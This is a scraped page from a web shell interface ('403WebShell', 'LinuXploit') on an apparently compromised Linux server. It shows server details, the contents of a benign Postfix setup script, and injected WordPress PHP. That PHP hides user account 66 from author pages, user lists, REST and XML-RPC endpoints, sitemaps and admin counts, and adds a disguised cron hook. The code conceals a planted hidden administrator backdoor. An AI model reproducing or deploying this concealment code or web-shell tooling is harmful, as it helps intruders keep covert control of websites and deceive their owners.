403WebShell

add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

Server IP : 167.235.224.122 / Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF
Directory : /lib/postfix/

Upload File :

[ Back ]

Current File : /lib/postfix/configure-instance.sh

#! /bin/sh -e

# This helper script is used by the postfix init scripts,
# upstart jobs, systemd services, openrc scripts, etc. in
# prepping the instance of postfix to be started.

# It was originally part of the postfix init script, which
# was written by LaMont Jones <lamont@debian.org>, and based
# off of the sendmail init script.

chroot_extra_files=
chroot_extra_CAdir=

INSTANCE="$1"

SYNC_CHROOT="y"

if test -r /etc/default/postfix; then
	. /etc/default/postfix
fi

# Sigh.  Because reasons, files is relative, CAdir not
[ "$chroot_extra_CAdir" != '' ] && [ ! "${chroot_extra_CAdir%${chroot_extra_CAdir#?}}"x = '/x' ] && chroot_extra_CAdir=/$chroot_extra_CAdir
if [ "$chroot_extra_files" != '' ]; then
	files=''
	for file in $chroot_extra_files
	do
		[ "${file%${file#?}}"x = '/x' ] && file=${file#?}
		files="$files $file"
	done
	chroot_extra_files=$files
fi

if [ "X$INSTANCE" = X ] || [ "X$INSTANCE" = "X-" ]; then
	POSTCONF="postconf -o inet_interfaces="
else
	POSTCONF="postmulti -i $INSTANCE -x postconf -o inet_interfaces="
fi

# if you set myorigin to 'ubuntu.com' or 'debian.org', it's wrong, and annoys the admins of
# those domains.  See also sender_canonical_maps.

MYORIGIN=$($POSTCONF -hx myorigin | tr 'A-Z' 'a-z')
if [ "X${MYORIGIN#/}" != "X${MYORIGIN}" ]; then
	MYORIGIN=$(tr 'A-Z' 'a-z' < $MYORIGIN)
fi
if [ "X$MYORIGIN" = Xubuntu.com ] || [ "X$MYORIGIN" = Xdebian.org ]; then
	echo "Invalid \$myorigin ($MYORIGIN), refusing to start"
	exit 1
fi

config_dir=$($POSTCONF -hx config_directory)
MAJOR_VER=$($POSTCONF -hx mail_version|cut -d. -f1)
COMPAT=$($POSTCONF -xh compatibility_level|cut -d. -f1)
[ $MAJOR_VER -ge 3 ] && [ $COMPAT -ge 1 ] && CHROOT_TEST="[yY]" || CHROOT_TEST="[-yY]"
# see if anything is running chrooted.
NEED_CHROOT=$(awk '/^[0-9a-z]/ && ($5 ~ "'"$CHROOT_TEST"'") { print "y"; exit}' ${config_dir}/master.cf)

# Functions for chroot setup

copyCAdir() {
	# Copy/update CA directory in chroot
	ca_path=$1
	case "$ca_path" in
	    '') :;; # no ca_path
	    $queue_dir/*) :;;  # skip stuff already in chroot
	    *)
		if test -d "$ca_path"; then
		    dest_dir="$queue_dir/${ca_path#/}"
		    # strip any/all trailing /
		    while [ "${dest_dir%/}" != "${dest_dir}" ]; do
			dest_dir="${dest_dir%/}"
		    done
		    new=0
		    if test -d "$dest_dir"; then
			# write to a new directory ...
			dest_dir="${dest_dir}.NEW"
			new=1
		    fi
		    mkdir --parent ${dest_dir}
		    # handle files in subdirectories
		    (cd "$ca_path" && find . -name '*.pem' -not -xtype l -print0 | cpio -0pdL --quiet "$dest_dir") 2>/dev/null ||
		        (echo failure copying certificates; exit 1)
		    openssl rehash "$dest_dir" >/dev/null 2>&1
		    if [ "$new" = 1 ]; then
			# and replace the old directory
			rm -rf "${dest_dir%.NEW}"
			mv "$dest_dir" "${dest_dir%.NEW}"
		    fi
		fi
		;;
	esac
}

if [ -n "$NEED_CHROOT" ] && [ -n "$SYNC_CHROOT" ]; then
	# Make sure that the chroot environment is set up correctly.
	umask 022
	queue_dir=$($POSTCONF -hx queue_directory)
	cd "$queue_dir"

	# Set the smtp CA path to be copied, if specified
	sca_path=$($POSTCONF -hx smtp_tls_CApath)

	# Set the smtpd CA path to be copied, if specified
	dca_path=$($POSTCONF -hx smtpd_tls_CApath)

	# Copy or update each defined CA directory
	for CA in $sca_path $dca_path $chroot_extra_CAdir
		do
			copyCAdir $CA
		done

	# if we're using unix:passwd.byname, then we need to add etc/passwd.
	local_maps=$($POSTCONF -hx local_recipient_maps)
	if [ "X$local_maps" != "X${local_maps#*unix:passwd.byname}" ]; then
	    if [ "X$local_maps" = "X${local_maps#*proxy:unix:passwd.byname}" ]; then
		sed 's/^\([^:]*\):[^:]*/\1:x/' /etc/passwd > etc/passwd
		chmod a+r etc/passwd
	    fi
	fi

	FILES="etc/localtime etc/services etc/resolv.conf etc/hosts \
	    etc/host.conf etc/nsswitch.conf etc/nss_mdns.config  \
	    $chroot_extra_files"
	for file in $FILES; do
	    [ -d ${file%/*} ] || mkdir -p ${file%/*}
	    if [ -f /${file} ]; then rm -f ${file} && cp /${file} ${file}; fi
	    if [ -f  ${file} ]; then chmod a+rX ${file}; fi
	done
	# ldaps needs this. debian bug 572841
	(echo /dev/random; echo /dev/urandom) | cpio -pdL --quiet . 2>/dev/null || true
	rm -f usr/lib/zoneinfo/localtime
	mkdir -p usr/lib/zoneinfo
	ln -sf /etc/localtime usr/lib/zoneinfo/localtime

	LIBLIST=$(for name in gcc_s nss resolv; do
	    for f in /lib/*/lib${name}*.so* /lib/lib${name}*.so*; do
	       if [ -f "$f" ]; then  echo ${f#/}; fi;
	    done;
	done)

	if [ -n "$LIBLIST" ]; then
	    for f in $LIBLIST; do
		rm -f "$f"
	    done
	    tar cf - -C / $LIBLIST 2>/dev/null |tar xf -
	fi
fi

Youez - 2016 - github.com/yon3zu
LinuXploit